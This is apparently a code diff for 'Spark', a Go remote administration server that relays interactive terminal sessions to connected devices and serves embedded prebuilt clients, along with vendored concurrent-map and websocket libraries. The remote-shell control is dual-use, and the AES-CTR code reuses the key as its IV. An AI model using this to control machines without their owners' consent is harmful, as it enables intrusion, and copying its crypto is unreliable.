val, ok := session.Get(`Terminal`)
if !ok {
return
}
termUUID, ok := val.(string)
if !ok {
return
}
val, ok = terminals.Get(termUUID)
if !ok {
return
}
terminal, ok := val.(*terminal)
if !ok {
return
}
common.SendPack(modules.Packet{Act: `killTerminal`, Data: gin.H{
`event`: terminal.eventUUID,
`terminal`: terminal.termUUID,
}}, terminal.deviceConn)
terminals.Remove(termUUID)
removeEvent(terminal.eventUUID)
})
go common.WSHealthCheck(wsTerminals)
}
// initTerminal 负责处理terminal的websocket握手事务
func initTerminal(ctx *gin.Context) {
if !ctx.IsWebsocket() {
ctx.Status(http.StatusUpgradeRequired)
return
}
secretStr, ok := ctx.GetQuery(`secret`)
if !ok || len(secretStr) != 32 {
ctx.Status(http.StatusBadRequest)
return
}
secret, err := hex.DecodeString(secretStr)
if err != nil {
ctx.Status(http.StatusBadRequest)
return
}
device, ok := ctx.GetQuery(`device`)
if !ok {
ctx.Status(http.StatusBadRequest)
return
}
if _, ok := common.CheckDevice(device); !ok {
ctx.Status(http.StatusBadRequest)
return
}
wsTerminals.HandleRequestWithKeys(ctx.Writer, ctx.Request, nil, gin.H{
`Secret`: secret,
`Device`: device,
`LastPack`: time.Now().Unix(),
`Terminal`: utils.GetStrUUID(),
})
}
// eventWrapper 会包装一个eventCb当收到与浏览器session对应的device响应时
// 会自动把数据转发给浏览器端
func eventWrapper(terminal *terminal) eventCb {
return func(pack modules.Packet, device *melody.Session) {
if pack.Act == `initTerminal` {
if pack.Code != 0 {
msg := `终端创建失败:未知错误`
if len(pack.Msg) > 0 {
msg = `终端创建失败:` + pack.Msg
}
simpleSendPack(modules.Packet{Act: `warn`, Msg: msg}, terminal.session)
terminals.Remove(terminal.termUUID)
removeEvent(terminal.eventUUID)
}
return
}
if pack.Act == `quitTerminal` {
msg := `终端已退出`
if len(pack.Msg) > 0 {
msg = pack.Msg
}
simpleSendPack(modules.Packet{Act: `warn`, Msg: msg}, terminal.session)
terminals.Remove(terminal.termUUID)
removeEvent(terminal.eventUUID)
terminal.session.Close()
return
}
if pack.Act == `outputTerminal` {
if pack.Data == nil {
return
}
if output, ok := pack.Data[`output`]; ok {
simpleSendPack(modules.Packet{Act: `outputTerminal`, Data: gin.H{
`output`: output,
}}, terminal.session)
}
}
}
}
func simpleEncrypt(data []byte, session *melody.Session) ([]byte, bool) {
temp, ok := session.Get(`Secret`)
if !ok {
return nil, false
}
secret := temp.([]byte)
block, err := aes.NewCipher(secret)
if err != nil {
return nil, false
}
stream := cipher.NewCTR(block, secret)
encBuffer := make([]byte, len(data))
stream.XORKeyStream(encBuffer, data)
return encBuffer, true
}
func simpleDecrypt(data []byte, session *melody.Session) ([]byte, bool) {
temp, ok := session.Get(`Secret`)
if !ok {
return nil, false
}
secret := temp.([]byte)
block, err := aes.NewCipher(secret)
if err != nil {
return nil, false
}
stream := cipher.NewCTR(block, secret)
decBuffer := make([]byte, len(data))
stream.XORKeyStream(decBuffer, data)
return decBuffer, true
}
func simpleSendPack(pack modules.Packet, session *melody.Session) bool {
if session == nil {
return false
}
data, err := utils.JSON.Marshal(pack)
if err != nil {
return false
}
data, ok := simpleEncrypt(data, session)
if !ok {
return false
}
err = session.WriteBinary(data)
return err == nil
}
func onMessage(session *melody.Session, data []byte) {
var pack modules.Packet
data, ok := simpleDecrypt(data, session)
if !(ok && utils.JSON.Unmarshal(data, &pack) == nil) {
simpleSendPack(modules.Packet{Code: -1}, session)
session.Close()
return
}
session.Set(`LastPack`, time.Now().Unix())
if pack.Act == `inputTerminal` {
val, ok := session.Get(`Terminal`)
if !ok {
return
}
termUUID, ok := val.(string)
if !ok {
return
}
val, ok = terminals.Get(termUUID)
if !ok {
return
}
terminal, ok := val.(*terminal)
if !ok {
return
}
if pack.Data == nil {
return
}
if input, ok := pack.Data[`input`]; ok {
common.SendPack(modules.Packet{Act: `inputTerminal`, Data: gin.H{
`input`: input,
`event`: terminal.eventUUID,
`terminal`: terminal.termUUID,
}}, terminal.deviceConn)
}
}
}

207
server/main.go Normal file
View File

@@ -0,0 +1,207 @@
package main
import (
"Spark/modules"
"Spark/server/common"
"Spark/server/config"
"Spark/server/handler"
"bytes"
"net"
"strings"
"time"
"github.com/rakyll/statik/fs"
_ "Spark/server/embed/built"
_ "Spark/server/embed/web"
"Spark/utils"
"Spark/utils/melody"
"encoding/hex"
"io/ioutil"
"net/http"
"github.com/gin-gonic/gin"
"github.com/kataras/golog"
)
func main() {
golog.SetTimeFormat(`2006/01/02 15:04:05`)
gin.SetMode(`release`)
data, err := ioutil.ReadFile(`./Config.json`)
if err != nil {
golog.Fatal(`读取配置文件失败:`, err)
return
}
err = utils.JSON.Unmarshal(data, &config.Config)
if err != nil {
golog.Fatal(`解析配置文件失败:`, err)
return
}
if len(config.Config.Salt) > 24 {
golog.Fatal(`Salt的长度不能超过24位`)
return
}
config.Config.StdSalt = []byte(config.Config.Salt)
config.Config.StdSalt = append(config.Config.StdSalt, bytes.Repeat([]byte{25}, 24)...)
config.Config.StdSalt = config.Config.StdSalt[:24]
webFS, err := fs.NewWithNamespace(`web`)
if err != nil {
golog.Fatal(`加载静态资源失败:`, err)
return
}
common.BuiltFS, err = fs.NewWithNamespace(`built`)
if err != nil {
golog.Fatal(`加载预编译客户端失败:`, err)
return
}
app := gin.New()
auth := gin.BasicAuth(config.Config.Auth)
app.NoRoute(auth, func(ctx *gin.Context) {
http.FileServer(webFS).ServeHTTP(ctx.Writer, ctx.Request)
})
handler.APIRouter(app.Group(`/api`), auth)
app.Any(`/ws`, wsHandshake)
common.Melody.Config.MaxMessageSize = 1024
common.Melody.HandleConnect(wsOnConnect)
common.Melody.HandleMessage(wsOnMessage)
common.Melody.HandleMessageBinary(wsOnMessageBinary)
common.Melody.HandleDisconnect(wsOnDisconnect)
go common.WSHealthCheck(common.Melody)
app.Run(config.Config.Listen)
}
func wsHandshake(ctx *gin.Context) {
if ctx.IsWebsocket() {
clientUUID, _ := hex.DecodeString(ctx.GetHeader(`UUID`))
clientKey, _ := hex.DecodeString(ctx.GetHeader(`Key`))
if len(clientUUID) != 16 || len(clientKey) != 32 {
ctx.Status(http.StatusUnauthorized)
return
}
decrypted, err := common.DecAES(clientKey, config.Config.StdSalt)
if err != nil || !bytes.Equal(decrypted, clientUUID) {
ctx.Status(http.StatusUnauthorized)
return
}
secret := append(utils.GetUUID(), utils.GetUUID()...)
err = common.Melody.HandleRequestWithKeys(ctx.Writer, ctx.Request, http.Header{
`Secret`: []string{hex.EncodeToString(secret)},
}, gin.H{
`Secret`: secret,
`LastPack`: time.Now().Unix(),
`Address`: getRemoteAddr(ctx),
})
if err != nil {
golog.Error(err)
ctx.Status(http.StatusUpgradeRequired)
return
}
} else {
// When message is too large to transport via websocket,
// client will try to send these data via http.
// Here is the data validator.
const MaxBufferSize = 2 << 18 //524288 512KB
secret, err := hex.DecodeString(ctx.GetHeader(`Secret`))
if err != nil || len(secret) != 32 {
return
}
body, err := ctx.GetRawData()
if err != nil {
return
}
common.Melody.IterSessions(func(uuid string, s *melody.Session) bool {
if val, ok := s.Get(`Secret`); ok {
// Check if there's the connection with the secret.
if b, ok := val.([]byte); ok && bytes.Equal(b, secret) {
wsOnMessageBinary(s, body)
return false
}
}
return true
})
}
}
func wsOnConnect(session *melody.Session) {
}
func wsOnMessage(session *melody.Session, bytes []byte) {
session.Close()
}
func wsOnMessageBinary(session *melody.Session, data []byte) {
var pack modules.Packet
data, ok := common.Decrypt(data, session)
if !(ok && utils.JSON.Unmarshal(data, &pack) == nil) {
common.SendPack(modules.Packet{Code: -1}, session)
session.Close()
return
}
if pack.Act == `report` || pack.Act == `setDevice` {
session.Set(`LastPack`, time.Now().Unix())
handler.WSDevice(data, session)
return
}
if !common.Devices.Has(session.UUID) {
session.Close()
return
}
handler.WSRouter(pack, session)
session.Set(`LastPack`, time.Now().Unix())
}
func wsOnDisconnect(session *melody.Session) {
common.Devices.Remove(session.UUID)
}
func getRemoteAddr(ctx *gin.Context) string {
if remote, ok := ctx.RemoteIP(); ok {
if remote.IsLoopback() {
forwarded := ctx.GetHeader(`X-Forwarded-For`)
if len(forwarded) > 0 {
return forwarded
}
realIP := ctx.GetHeader(`X-Real-IP`)
if len(realIP) > 0 {
return realIP
}
} else {
if ip := remote.To4(); ip != nil {
return ip.String()
}
if ip := remote.To16(); ip != nil {
return ip.String()
}
}
}
remote := net.ParseIP(ctx.Request.RemoteAddr)
if remote != nil {
if remote.IsLoopback() {
forwarded := ctx.GetHeader(`X-Forwarded-For`)
if len(forwarded) > 0 {
return forwarded
}
realIP := ctx.GetHeader(`X-Real-IP`)
if len(realIP) > 0 {
return realIP
}
} else {
if ip := remote.To4(); ip != nil {
return ip.String()
}
if ip := remote.To16(); ip != nil {
return ip.String()
}
}
}
addr := ctx.Request.RemoteAddr
if pos := strings.LastIndex(addr, `:`); pos > -1 {
return strings.Trim(addr[:pos], `[]`)
}
return addr
}

View File

@@ -0,0 +1,354 @@
package cmap
import (
"encoding/json"
"sync"
)
const SHARD_COUNT = 32
// ConcurrentMap is a "thread" safe map of type string:Anything.
// To avoid lock bottlenecks this map is dived to several (SHARD_COUNT) map shards.
type ConcurrentMap []*ConcurrentMapShared
// ConcurrentMapShared is a "thread" safe string to anything map.
type ConcurrentMapShared struct {
items map[string]interface{}
sync.RWMutex // Read Write mutex, guards access to internal map.
}
// New creates a new concurrent map.
func New() ConcurrentMap {
m := make(ConcurrentMap, SHARD_COUNT)
for i := 0; i < SHARD_COUNT; i++ {
m[i] = &ConcurrentMapShared{items: make(map[string]interface{})}
}
return m
}
// GetShard returns shard under given key
func (m ConcurrentMap) GetShard(key string) *ConcurrentMapShared {
return m[uint(fnv32(key))%uint(SHARD_COUNT)]
}
func (m ConcurrentMap) MSet(data map[string]interface{}) {
for key, value := range data {
shard := m.GetShard(key)
shard.Lock()
shard.items[key] = value
shard.Unlock()
}
}
// Set sets the given value under the specified key.
func (m ConcurrentMap) Set(key string, value interface{}) {
// Get map shard.
shard := m.GetShard(key)
shard.Lock()
shard.items[key] = value
shard.Unlock()
}
// UpsertCb is callback to return new element to be inserted into the map
// It is called while lock is held, therefore it MUST NOT
// try to access other keys in same map, as it can lead to deadlock since
// Go sync.RWLock is not reentrant
type UpsertCb func(exist bool, valueInMap interface{}, newValue interface{}) interface{}
// Upsert means Insert or Update - updates existing element or inserts a new one using UpsertCb
func (m ConcurrentMap) Upsert(key string, value interface{}, cb UpsertCb) (res interface{}) {
shard := m.GetShard(key)
shard.Lock()
v, ok := shard.items[key]
res = cb(ok, v, value)
shard.items[key] = res
shard.Unlock()
return res
}
// SetIfAbsent sets the given value under the specified key if no value was associated with it.
func (m ConcurrentMap) SetIfAbsent(key string, value interface{}) bool {
// Get map shard.
shard := m.GetShard(key)
shard.Lock()
_, ok := shard.items[key]
if !ok {
shard.items[key] = value
}
shard.Unlock()
return !ok
}
// Get retrieves an element from map under given key.
func (m ConcurrentMap) Get(key string) (interface{}, bool) {
// Get shard
shard := m.GetShard(key)
shard.RLock()
// Get item from shard.
val, ok := shard.items[key]
shard.RUnlock()
return val, ok
}
// Count returns the number of elements within the map.
func (m ConcurrentMap) Count() int {
count := 0
for i := 0; i < SHARD_COUNT; i++ {
shard := m[i]
shard.RLock()
count += len(shard.items)
shard.RUnlock()
}
return count
}
// Has looks up an item under specified key
func (m ConcurrentMap) Has(key string) bool {
// Get shard
shard := m.GetShard(key)
shard.RLock()
// See if element is within shard.
_, ok := shard.items[key]
shard.RUnlock()
return ok
}
// Remove removes an element from the map.
func (m ConcurrentMap) Remove(key string) {
// Try to get shard.
shard := m.GetShard(key)
shard.Lock()
delete(shard.items, key)
shard.Unlock()
}
// RemoveCb is a callback executed in a map.RemoveCb() call, while Lock is held
// If returns true, the element will be removed from the map
type RemoveCb func(key string, v interface{}, exists bool) bool
// RemoveCb locks the shard containing the key, retrieves its current value and calls the callback with those params
// If callback returns true and element exists, it will remove it from the map
// Returns the value returned by the callback (even if element was not present in the map)
func (m ConcurrentMap) RemoveCb(key string, cb RemoveCb) bool {
// Try to get shard.
shard := m.GetShard(key)
shard.Lock()
v, ok := shard.items[key]
remove := cb(key, v, ok)
if remove && ok {
delete(shard.items, key)
}
shard.Unlock()
return remove
}
// Pop removes an element from the map and returns it
func (m ConcurrentMap) Pop(key string) (v interface{}, exists bool) {
// Try to get shard.
shard := m.GetShard(key)
shard.Lock()
v, exists = shard.items[key]
delete(shard.items, key)
shard.Unlock()
return v, exists
}
// IsEmpty checks if map is empty.
func (m ConcurrentMap) IsEmpty() bool {
return m.Count() == 0
}
// Tuple is used by the Iter & IterBuffered functions to wrap two variables together over a channel,
type Tuple struct {
Key string
Val interface{}
}
// Iter returns an iterator which could be used in a for range loop.
//
// Deprecated: using IterBuffered() will get a better performance
func (m ConcurrentMap) Iter() <-chan Tuple {
chans := snapshot(m)
ch := make(chan Tuple)
go fanIn(chans, ch)
return ch
}
// IterBuffered returns a buffered iterator which could be used in a for range loop.
func (m ConcurrentMap) IterBuffered() <-chan Tuple {
chans := snapshot(m)
total := 0
for _, c := range chans {
total += cap(c)
}
ch := make(chan Tuple, total)
go fanIn(chans, ch)
return ch
}
// Clear removes all items from map.
func (m ConcurrentMap) Clear() {
for item := range m.IterBuffered() {
m.Remove(item.Key)
}
}
// Returns an array of channels that contains elements in each shard,
// which likely takes a snapshot of `m`.
// It returns once the size of each buffered channel is determined,
// before all the channels are populated using goroutines.
func snapshot(m ConcurrentMap) (chans []chan Tuple) {
//When you access map items before initializing.
if len(m) == 0 {
panic(`cmap.ConcurrentMap is not initialized. Should run New() before usage.`)
}
chans = make([]chan Tuple, SHARD_COUNT)
wg := sync.WaitGroup{}
wg.Add(SHARD_COUNT)
// Foreach shard.
for index, shard := range m {
go func(index int, shard *ConcurrentMapShared) {
// Foreach key, value pair.
shard.RLock()
chans[index] = make(chan Tuple, len(shard.items))
wg.Done()
for key, val := range shard.items {
chans[index] <- Tuple{key, val}
}
shard.RUnlock()
close(chans[index])
}(index, shard)
}
wg.Wait()
return chans
}
// fanIn reads elements from channels `chans` into channel `out`
func fanIn(chans []chan Tuple, out chan Tuple) {
wg := sync.WaitGroup{}
wg.Add(len(chans))
for _, ch := range chans {
go func(ch chan Tuple) {
for t := range ch {
out <- t
}
wg.Done()
}(ch)
}
wg.Wait()
close(out)
}
// Items returns all items as map[string]interface{}
func (m ConcurrentMap) Items() map[string]interface{} {
tmp := make(map[string]interface{})
// Insert items to temporary map.
for item := range m.IterBuffered() {
tmp[item.Key] = item.Val
}
return tmp
}
// IterCb is iterator callback, called for every key,value found in
// maps. RLock is held for all calls for a given shard
// therefore callback sess consistent view of a shard,
// but not across the shards
type IterCb func(key string, v interface{}) bool
// IterCb callback based iterator, the cheapest way to read
// all elements in a map.
func (m ConcurrentMap) IterCb(fn IterCb) {
escape:=false
for idx := range m {
shard := (m)[idx]
shard.RLock()
for key, value := range shard.items {
if !fn(key, value) {
escape = true
break
}
}
shard.RUnlock()
if escape {
break
}
}
}
// Keys returns all keys as []string
func (m ConcurrentMap) Keys() []string {
count := m.Count()
ch := make(chan string, count)
go func() {
// Foreach shard.
wg := sync.WaitGroup{}
wg.Add(SHARD_COUNT)
for _, shard := range m {
go func(shard *ConcurrentMapShared) {
// Foreach key, value pair.
shard.RLock()
for key := range shard.items {
ch <- key
}
shard.RUnlock()
wg.Done()
}(shard)
}
wg.Wait()
close(ch)
}()
// Generate keys
keys := make([]string, 0, count)
for k := range ch {
keys = append(keys, k)
}
return keys
}
//MarshalJSON reviles ConcurrentMap "private" variables to json marshal.
func (m ConcurrentMap) MarshalJSON() ([]byte, error) {
// Create a temporary map, which will hold all item spread across shards.
tmp := make(map[string]interface{})
// Insert items to temporary map.
for item := range m.IterBuffered() {
tmp[item.Key] = item.Val
}
return json.Marshal(tmp)
}
func fnv32(key string) uint32 {
hash := uint32(2166136261)
const prime32 = uint32(16777619)
keyLength := len(key)
for i := 0; i < keyLength; i++ {
hash *= prime32
hash ^= uint32(key[i])
}
return hash
}
// Concurrent map uses Interface{} as its value, therefore JSON Unmarshal
// probably won't know which to type to unmarshal into, in such case
// we'll end up with a value of type map[string]interface{}, In most cases this isn't
// out value type, this is why we've decided to remove this functionality.
// func (m *ConcurrentMap) UnmarshalJSON(b []byte) (err error) {
// // Reverse process of Marshal.
// tmp := make(map[string]interface{})
// // Unmarshal into a single map.
// if err := json.Unmarshal(b, &tmp); err != nil {
// return nil
// }
// // foreach key,value pair in temporary map insert into our concurrent map.
// for key, val := range tmp {
// m.Set(key, val)
// }
// return nil
// }

22
utils/melody/config.go Normal file
View File

@@ -0,0 +1,22 @@
package melody
import "time"
// Config melody configuration struct.
type Config struct {
WriteWait time.Duration // Milliseconds until write times out.
PongWait time.Duration // Timeout for waiting on pong.
PingPeriod time.Duration // Milliseconds between pings.
MaxMessageSize int64 // Maximum size in bytes of a message.
MessageBufferSize int // The max amount of messages that can be in a sessions buffer before it starts dropping them.
}
func newConfig() *Config {
return &Config{
WriteWait: 10 * time.Second,
PongWait: 60 * time.Second,
PingPeriod: (60 * time.Second * 9) / 10,
MaxMessageSize: 512,
MessageBufferSize: 256,
}
}

8
utils/melody/envelope.go Normal file
View File

@@ -0,0 +1,8 @@
package melody
type envelope struct {
t int
msg []byte
list []string
filter filterFunc
}

88
utils/melody/hub.go Normal file
View File

@@ -0,0 +1,88 @@
package melody
import (
"Spark/utils/cmap"
)
type hub struct {
sessions cmap.ConcurrentMap
queue chan *envelope
register chan *Session
unregister chan *Session
exit chan *envelope
open bool
}
func newHub() *hub {
return &hub{
sessions: cmap.New(),
queue: make(chan *envelope),
register: make(chan *Session),
unregister: make(chan *Session),
exit: make(chan *envelope),
open: true,
}
}
func (h *hub) run() {
loop:
for {
select {
case s := <-h.register:
if h.open {
h.sessions.Set(s.UUID, s)
}
case s := <-h.unregister:
h.sessions.Remove(s.UUID)
case m := <-h.queue:
if len(m.list) > 0 {
for _, uuid := range m.list {
if s, ok := h.sessions.Get(uuid); ok {
s := s.(*Session)
s.writeMessage(m)
}
}
} else if m.filter == nil {
h.sessions.IterCb(func(uuid string, v interface{}) bool {
s := v.(*Session)
s.writeMessage(m)
return true
})
} else {
h.sessions.IterCb(func(uuid string, v interface{}) bool {
s := v.(*Session)
if m.filter(s) {
s.writeMessage(m)
}
return true
})
}
case m := <-h.exit:
var keys []string
h.open = false
h.sessions.IterCb(func(uuid string, v interface{}) bool {
s := v.(*Session)
s.writeMessage(m)
s.Close()
keys = append(keys, uuid)
return true
})
for i := range keys {
h.sessions.Remove(keys[i])
}
break loop
}
}
}
func (h *hub) closed() bool {
return !h.open
}
func (h *hub) len() int {
return h.sessions.Count()
}
func (h *hub) list() []string {
return h.sessions.Keys()
}

360
utils/melody/melody.go Normal file
View File

@@ -0,0 +1,360 @@
package melody
import (
"errors"
"net/http"
"sync"
"github.com/gorilla/websocket"
)
// Close codes defined in RFC 6455, section 11.7.
// Duplicate of codes from gorilla/websocket for convenience.
const (
CloseNormalClosure = 1000
CloseGoingAway = 1001
CloseProtocolError = 1002
CloseUnsupportedData = 1003
CloseNoStatusReceived = 1005
CloseAbnormalClosure = 1006
CloseInvalidFramePayloadData = 1007
ClosePolicyViolation = 1008
CloseMessageTooBig = 1009
CloseMandatoryExtension = 1010
CloseInternalServerErr = 1011
CloseServiceRestart = 1012
CloseTryAgainLater = 1013
CloseTLSHandshake = 1015
)
// Duplicate of codes from gorilla/websocket for convenience.
var validReceivedCloseCodes = map[int]bool{
// see http://www.iana.org/assignments/websocket/websocket.xhtml#close-code-number
CloseNormalClosure: true,
CloseGoingAway: true,
CloseProtocolError: true,
CloseUnsupportedData: true,
CloseNoStatusReceived: false,
CloseAbnormalClosure: false,
CloseInvalidFramePayloadData: true,
ClosePolicyViolation: true,
CloseMessageTooBig: true,
CloseMandatoryExtension: true,
CloseInternalServerErr: true,
CloseServiceRestart: true,
CloseTryAgainLater: true,
CloseTLSHandshake: false,
}
type handleMessageFunc func(*Session, []byte)
type handleErrorFunc func(*Session, error)
type handleCloseFunc func(*Session, int, string) error
type handleSessionFunc func(*Session)
type filterFunc func(*Session) bool
// Melody implements a websocket manager.
type Melody struct {
Config *Config
Upgrader *websocket.Upgrader
messageHandler handleMessageFunc
messageHandlerBinary handleMessageFunc
messageSentHandler handleMessageFunc
messageSentHandlerBinary handleMessageFunc
errorHandler handleErrorFunc
closeHandler handleCloseFunc
connectHandler handleSessionFunc
disconnectHandler handleSessionFunc
pongHandler handleSessionFunc
hub *hub
}
// New creates a new melody instance with default Upgrader and Config.
func New() *Melody {
upgrader := &websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
CheckOrigin: func(r *http.Request) bool { return true },
}
hub := newHub()
go hub.run()
return &Melody{
Config: newConfig(),
Upgrader: upgrader,
messageHandler: func(*Session, []byte) {},
messageHandlerBinary: func(*Session, []byte) {},
messageSentHandler: func(*Session, []byte) {},
messageSentHandlerBinary: func(*Session, []byte) {},
errorHandler: func(*Session, error) {},
closeHandler: nil,
connectHandler: func(*Session) {},
disconnectHandler: func(*Session) {},
pongHandler: func(*Session) {},
hub: hub,
}
}
// HandleConnect fires fn when a session connects.
func (m *Melody) HandleConnect(fn func(*Session)) {
m.connectHandler = fn
}
// HandleDisconnect fires fn when a session disconnects.
func (m *Melody) HandleDisconnect(fn func(*Session)) {
m.disconnectHandler = fn
}
// HandlePong fires fn when a pong is received from a session.
func (m *Melody) HandlePong(fn func(*Session)) {
m.pongHandler = fn
}
// HandleMessage fires fn when a text message comes in.
func (m *Melody) HandleMessage(fn func(*Session, []byte)) {
m.messageHandler = fn
}
// HandleMessageBinary fires fn when a binary message comes in.
func (m *Melody) HandleMessageBinary(fn func(*Session, []byte)) {
m.messageHandlerBinary = fn
}
// HandleSentMessage fires fn when a text message is successfully sent.
func (m *Melody) HandleSentMessage(fn func(*Session, []byte)) {
m.messageSentHandler = fn
}
// HandleSentMessageBinary fires fn when a binary message is successfully sent.
func (m *Melody) HandleSentMessageBinary(fn func(*Session, []byte)) {
m.messageSentHandlerBinary = fn
}
// HandleError fires fn when a session has an error.
func (m *Melody) HandleError(fn func(*Session, error)) {
m.errorHandler = fn
}
// HandleClose sets the handler for close messages received from the session.
// The code argument to h is the received close code or CloseNoStatusReceived
// if the close message is empty. The default close handler sends a close frame
// back to the session.
//
// The application must read the connection to process close messages as
// described in the section on Control Frames above.
//
// The connection read methods return a CloseError when a close frame is
// received. Most applications should handle close messages as part of their
// normal error handling. Applications should only set a close handler when the
// application must perform some action before sending a close frame back to
// the session.
func (m *Melody) HandleClose(fn func(*Session, int, string) error) {
if fn != nil {
m.closeHandler = fn
}
}
// HandleRequest upgrades http requests to websocket connections and dispatches them to be handled by the melody instance.
func (m *Melody) HandleRequest(w http.ResponseWriter, r *http.Request, header http.Header) error {
return m.HandleRequestWithKeys(w, r, header, nil)
}
// HandleRequestWithKeys does the same as HandleRequest but populates session.Keys with keys.
func (m *Melody) HandleRequestWithKeys(w http.ResponseWriter, r *http.Request, header http.Header, keys map[string]interface{}) error {
if m.hub.closed() {
return errors.New("melody instance is closed")
}
conn, err := m.Upgrader.Upgrade(w, r, header)
if err != nil {
return err
}
session := &Session{
Request: r,
Keys: keys,
UUID: generateUUID(),
conn: conn,
output: make(chan *envelope, m.Config.MessageBufferSize),
melody: m,
open: true,
rwmutex: &sync.RWMutex{},
}
m.hub.register <- session
m.connectHandler(session)
go session.writePump()
session.readPump()
if !m.hub.closed() {
m.hub.unregister <- session
}
session.close()
m.disconnectHandler(session)
return nil
}
// Broadcast broadcasts a text message to all sessions.
func (m *Melody) Broadcast(msg []byte) error {
if m.hub.closed() {
return errors.New("melody instance is closed")
}
message := &envelope{t: websocket.TextMessage, msg: msg}
m.hub.queue <- message
return nil
}
// BroadcastFilter broadcasts a text message to all sessions that fn returns true for.
func (m *Melody) BroadcastFilter(msg []byte, fn func(*Session) bool) error {
if m.hub.closed() {
return errors.New("melody instance is closed")
}
message := &envelope{t: websocket.TextMessage, msg: msg, filter: fn}
m.hub.queue <- message
return nil
}
// BroadcastOthers broadcasts a text message to all sessions except session s.
func (m *Melody) BroadcastOthers(msg []byte, s *Session) error {
return m.BroadcastFilter(msg, func(q *Session) bool {
return s != q
})
}
// BroadcastMultiple broadcasts a text message to multiple sessions given in the sessions slice.
func (m *Melody) BroadcastMultiple(msg []byte, sessions []*Session) error {
for _, sess := range sessions {
if writeErr := sess.Write(msg); writeErr != nil {
return writeErr
}
}
return nil
}
// BroadcastBinary broadcasts a binary message to all sessions.
func (m *Melody) BroadcastBinary(msg []byte) error {
if m.hub.closed() {
return errors.New("melody instance is closed")
}
message := &envelope{t: websocket.BinaryMessage, msg: msg}
m.hub.queue <- message
return nil
}
// BroadcastBinaryFilter broadcasts a binary message to all sessions that fn returns true for.
func (m *Melody) BroadcastBinaryFilter(msg []byte, fn func(*Session) bool) error {
if m.hub.closed() {
return errors.New("melody instance is closed")
}
message := &envelope{t: websocket.BinaryMessage, msg: msg, filter: fn}
m.hub.queue <- message
return nil
}
// BroadcastBinaryOthers broadcasts a binary message to all sessions except session s.
func (m *Melody) BroadcastBinaryOthers(msg []byte, s *Session) error {
return m.BroadcastBinaryFilter(msg, func(q *Session) bool {
return s != q
})
}
// SendToConn sends a binary message to the session with specified uuid.
func (m *Melody) SendToConn(msg []byte, uuid string) error {
return m.SendMultiple(msg, []string{uuid})
}
// SendMultiple sends a binary message to the sessions with these specified uuid.
func (m *Melody) SendMultiple(msg []byte, list []string) error {
if m.hub.closed() {
return errors.New("melody instance is closed")
}
message := &envelope{t: websocket.BinaryMessage, msg: msg, list: list}
m.hub.queue <- message
return nil
}
// GetSessionByUUID returns the session with specified uuid.
func (m *Melody) GetSessionByUUID(uuid string) (*Session, bool) {
val, ok := m.hub.sessions.Get(uuid)
if !ok {
return nil, false
}
s, ok := val.(*Session)
if !ok {
m.hub.sessions.Remove(uuid)
}
return s, ok
}
// IterSessions iterates all sessions.
func (m *Melody) IterSessions(fn func(uuid string, s *Session) bool) {
var invalid []string
m.hub.sessions.IterCb(func(uuid string, v interface{}) bool {
if s, ok := v.(*Session); !ok {
invalid = append(invalid, uuid)
return true
} else {
return fn(uuid, s)
}
})
for i := range invalid {
m.hub.sessions.Remove(invalid[i])
}
}
// Close closes the melody instance and all connected sessions.
func (m *Melody) Close() error {
if m.hub.closed() {
return errors.New("melody instance is already closed")
}
m.hub.exit <- &envelope{t: websocket.CloseMessage, msg: []byte{}}
return nil
}
// CloseWithMsg closes the melody instance with the given close payload and all connected sessions.
// Use the FormatCloseMessage function to format a proper close message payload.
func (m *Melody) CloseWithMsg(msg []byte) error {
if m.hub.closed() {
return errors.New("melody instance is already closed")
}
m.hub.exit <- &envelope{t: websocket.CloseMessage, msg: msg}
return nil
}
// Len return the number of connected sessions.
func (m *Melody) Len() int {
return m.hub.len()
}
// IsClosed returns the status of the melody instance.
func (m *Melody) IsClosed() bool {
return m.hub.closed()
}
// FormatCloseMessage formats closeCode and text as a WebSocket close message.
func FormatCloseMessage(closeCode int, text string) []byte {
return websocket.FormatCloseMessage(closeCode, text)
}

225
utils/melody/session.go Normal file
View File

@@ -0,0 +1,225 @@
package melody
import (
"errors"
"net/http"
"sync"
"time"
ws "github.com/gorilla/websocket"
)
// Session wrapper around websocket connections.
type Session struct {
Request *http.Request
Keys map[string]interface{}
UUID string
conn *ws.Conn
output chan *envelope
melody *Melody
open bool
rwmutex *sync.RWMutex
}
func (s *Session) writeMessage(message *envelope) {
if s.closed() {
s.melody.errorHandler(s, errors.New("tried to write to closed a session"))
return
}
select {
case s.output <- message:
default:
s.melody.errorHandler(s, errors.New("session message buffer is full"))
}
}
func (s *Session) writeRaw(message *envelope) error {
if s.closed() {
return errors.New("tried to write to a closed session")
}
s.conn.SetWriteDeadline(time.Now().Add(s.melody.Config.WriteWait))
err := s.conn.WriteMessage(message.t, message.msg)
if err != nil {
return err
}
return nil
}
func (s *Session) closed() bool {
s.rwmutex.RLock()
defer s.rwmutex.RUnlock()
return !s.open
}
func (s *Session) close() {
if !s.closed() {
s.rwmutex.Lock()
s.open = false
s.conn.Close()
close(s.output)
s.rwmutex.Unlock()
}
}
func (s *Session) ping() {
s.writeRaw(&envelope{t: ws.PingMessage, msg: []byte{}})
}
func (s *Session) writePump() {
ticker := time.NewTicker(s.melody.Config.PingPeriod)
defer ticker.Stop()
loop:
for {
select {
case msg, ok := <-s.output:
if !ok {
break loop
}
err := s.writeRaw(msg)
if err != nil {
s.melody.errorHandler(s, err)
break loop
}
if msg.t == ws.CloseMessage {
break loop
}
if msg.t == ws.TextMessage {
s.melody.messageSentHandler(s, msg.msg)
}
if msg.t == ws.BinaryMessage {
s.melody.messageSentHandlerBinary(s, msg.msg)
}
case <-ticker.C:
s.ping()
}
}
}
func (s *Session) readPump() {
s.conn.SetReadLimit(s.melody.Config.MaxMessageSize)
s.conn.SetReadDeadline(time.Now().Add(s.melody.Config.PongWait))
s.conn.SetPongHandler(func(string) error {
s.conn.SetReadDeadline(time.Now().Add(s.melody.Config.PongWait))
s.melody.pongHandler(s)
return nil
})
if s.melody.closeHandler != nil {
s.conn.SetCloseHandler(func(code int, text string) error {
return s.melody.closeHandler(s, code, text)
})
}
for {
t, message, err := s.conn.ReadMessage()
if err != nil {
s.melody.errorHandler(s, err)
break
}
if t == ws.TextMessage {
s.melody.messageHandler(s, message)
}
if t == ws.BinaryMessage {
s.melody.messageHandlerBinary(s, message)
}
}
}
// Write writes message to session.
func (s *Session) Write(msg []byte) error {
if s.closed() {
return errors.New("session is closed")
}
s.writeMessage(&envelope{t: ws.TextMessage, msg: msg})
return nil
}
// WriteBinary writes a binary message to session.
